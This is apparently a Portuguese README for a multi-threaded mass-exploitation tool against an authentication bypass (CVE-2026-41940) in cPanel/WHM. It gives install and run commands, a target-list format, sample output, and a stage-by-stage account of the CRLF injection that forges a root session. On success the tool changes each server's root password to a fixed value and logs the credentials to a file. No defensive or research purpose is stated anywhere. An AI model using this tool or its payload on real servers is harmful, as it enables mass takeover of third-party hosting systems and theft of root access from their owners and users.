
Scanner em massa e ferramenta de exploração em massa para CVE-2026-41940 em cPanel/WHM, construída para validação automatizada de alvos e execução multi-thread de alta velocidade.
CVE-2026-41940 é uma vulnerabilidade crítica de bypass de autenticação no WHM/cPanel que permite a atacantes contornar a autenticação e obter acesso root a um servidor sem credenciais válidas. A vulnerabilidade explora injeção CRLF no mecanismo de gerenciamento de sessão para injetar parâmetros maliciosos de sessão.
Esta ferramenta fornece capacidades de exploração em massa com suporte a múltiplas threads para testar vários alvos simultaneamente, apresentando deteção inteligente de sucesso e filtragem automática de alvos inválidos.
| Funcionalidade | Descrição |
|---|---|
| ✅ Exploração em Massa | Escanear e explorar múltiplos alvos a partir de um arquivo de lista |
| 🚀 Multithreading | Número configurável de threads para varredura mais rápida (padrão: 15) |
| 🔐 Alteração Automática de Senha | Altera a senha root para Jenderal92 em caso de exploração bem-sucedida |
| 🛡️ Deteção Inteligente de Sucesso | Detecta automaticamente vários formatos de resposta da API WHM |
| ⚠️ Filtragem de Erro de Licença | Exclui alvos com erros de licença inválida/não pode ler licença |
| 📝 Saída Estruturada | Salva apenas sucessos confirmados no formato `domínio:porta |
| 🛡️ Suporte SSL/TLS | Lida automaticamente com certificados autoassinados |
| 🔄 Gerenciamento de Sessão | Extração automática de sessão, injeção de cookies e manipulação de tokens |
| ⏱️ Controle de Timeout | Timeout de conexão configurável (padrão: 15 segundos) |
| 🔍 Verificação Pré-Conexão | Verifica disponibilidade da porta antes da tentativa de exploração |
| 📊 Progresso em Tempo Real | Mostra progresso detalhado para cada etapa da exploração |
pip install requests urllib3 futures
Ou use requirements.txt:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clonar repositório
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Instalar dependências
pip install -r requirements.txt
# Tornar executável (Linux/Mac)
chmod +x CVE-2026-41940.py
Crie um arquivo targets.txt com um alvo por linha:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Nota: A porta
2087é a porta padrão do WHM. Se não for especificada, usará automaticamente a porta 2087. O prefixo HTTP/HTTPS será adicionado automaticamente se estiver faltando.
python2 CVE-2026-41940.py targets.txt
# Usar 5 threads simultâneas
python2 CVE-2026-41940.py targets.txt --threads 5
# Usar 20 threads para varredura mais rápida
python2 CVE-2026-41940.py targets.txt --threads 20
# Substituir cabeçalho Host para todos os alvos
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Definir timeout de 30 segundos para conexões lentas
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
| Argumento | Descrição | Padrão | Obrigatório |
|---|---|---|---|
list_file | Arquivo contendo lista de alvos (um por linha) | - | ✅ Sim |
--threads | Número de threads simultâneas | 15 | ❌ Não |
--hostname | Substituir cabeçalho Host para todos os alvos | Auto-descobrir | ❌ Não |
--timeout | Timeout de conexão em segundos | 15 | ❌ Não |
res.txt)Apenas exploits confirmados com sucesso são salvos. Alvos com erros de licença, falhas na alteração de senha ou problemas de conexão são automaticamente excluídos.
Formato:
domínio:porta|root|Jenderal92
Exemplo de saída:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
Os seguintes alvos NÃO serão salvos em res.txt:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
O exploit consiste em 4 estágios principais com verificação inteligente:
[1] minting a preauth session...
/login/?login_only=1 com credenciais inválidaswhostmgrsession da resposta do servidor,<obhex>[2] sending the CRLF injection...
Authorization: Basic contendo payload maliciosoroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) injetam parâmetros de sessão falsosLocation contendo o cp_security_token[3] firing do_token_denied to propagate...
/scripts2/listaccts com o cookie manipuladodo_token_denied no WHM